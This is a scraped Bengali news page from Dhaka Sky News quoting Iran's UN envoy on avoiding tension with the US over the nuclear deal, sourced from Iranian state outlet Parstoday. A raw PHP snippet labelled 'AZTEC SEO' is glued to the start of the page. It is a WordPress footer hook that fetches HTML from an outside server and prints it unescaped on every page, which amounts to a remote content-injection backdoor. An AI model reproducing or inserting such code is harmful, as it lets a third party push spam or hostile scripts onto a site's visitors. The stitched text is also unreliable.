/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); আমেরিকার সঙ্গে উত্তেজনা বৃদ্ধিতে কোনো স্বার্থ খুঁজে পায় না ইরান: কূটনীতিক | Dhaka Sky News

প্রতিরোধকামী সংগঠনগুলোর ওপর হামলা আমেরিকার সঙ্ঘবদ্ধ সন্ত্রাসবাদের নতুন ধাপ: ইরান

আগের সংবাদ

রিয়াদে ব্যালিস্টিক ক্ষেপণাস্ত্র হামলা চালিয়েছে ইয়েমেন; ভূপাতিত করার দাবি

পরের সংবাদ

আমেরিকার সঙ্গে উত্তেজনা বৃদ্ধিতে কোনো স্বার্থ খুঁজে পায় না ইরান: কূটনীতিক

ঢাকা স্কাইনিউজ ডেস্ক

প্রকাশিত: February 28, 2021 , 9:47 pm

জাতিসংঘে নিযুক্ত ইরানের স্থায়ী প্রতিনিধি মাজিদ তাখতে রাভানচি বলেছেন, তার দেশ আমেরিকার সঙ্গে উত্তেজনা বাড়াতে চায় না। উসকানি সৃষ্টি করা ওয়াশিংটনের স্বভাব হলেও এ ধরনের কাজে তেহরান কোনো স্বার্থ খুঁজে পায় না বলেও তিনি মন্তব্য করেছেন।

ইরানের এই শীর্ষস্থানীয় কূটনীতিক আল-জাযিরা নিউজ চ্যানেলের এক প্রশ্নের জবাবে এ মন্তব্য করেন। তিনি বলেন, ইরান প্রমাণ করেছে যে, উত্তেজনা বৃদ্ধিতে তার কোনো আগ্রহ নেই; এমনকি [সাবেক মার্কিন প্রেসিডেন্ট] ট্রাম্পের শাসনামলে যখন ওয়াশিংটন ব্যাপকভাবে উত্তেজনা সৃষ্টি ও উসকানিমূলক পদক্ষেপ নিতে শুরু করে তখনও তেহরান উত্তেজনা এড়িয়ে চলেছে।

ইরান পাশ্চাত্যের সঙ্গে স্বাক্ষরিত পরমাণু সমঝোতায় দেয়া প্রতিশ্রুতি বাস্তবায়ন থেকে সরে আসার কারণে উত্তেজনা বাড়বে কিনা- এমন প্রশ্নের জবাবে তাখতে রাভানচি বলেন, অন্য পক্ষগুলো যখন তাদের প্রতিশ্রুতি থেকে পুরোপুরি সরে গেছে তখন পাল্টা ব্যবস্থা হিসেবে ইরান তার প্রতিশ্রুতি বাস্তবায়নের পরিমাণ কমিয়েছে মাত্র। এর ফলে উত্তেজনা বাড়ার কোনো কারণ নেই বলে তিনি মন্তব্য করেন।

জাতিসংঘে নিযুক্ত ইরানি রাষ্ট্রদূত বলেন, ট্রাম্প প্রশাসন যখন আন্তর্জাতিক আইন লঙ্ঘন করে পরমাণু সমঝোতা থেকে বেরিয়ে যায় তখন তিন ইউরোপীয় দেশ তেহরানকে একই কাজ করা থেকে বিরত থাকার অনুরোধ করে। এসব দেশ জানায়, আমেরিকা সমঝোতা থেকে বেরিয়ে যাওয়ার কারণে তেহরানের যে ক্ষতি হয়েছে তা তারা পুষিয়ে দেবে।

রাভানচি বলেন, তাদের সে প্রতিশ্রুতির বাস্তবায়ন দেখার জন্য ইরান এক বছর পর্যন্ত অপেক্ষা করে। কিন্তু ইউরোপীয়রা ইরানের অর্থনৈতিক স্বার্থ রক্ষা করতে চরম ব্যর্থতার পরিচয় দেয়ার পর তেহরান পরমাণু সমঝোতায় নিজের দেয়া প্রতিশ্রুতি থেকে সরে আসতে বাধ্য হয়। মাজিত তাখতে রাভানচি বলেন, ভারসাম্য রক্ষা করার জন্য ইরানের সামনে এর চেয়ে অন্য কোনো বিকল্প ছিল না। সূত্র : পার্সটুডে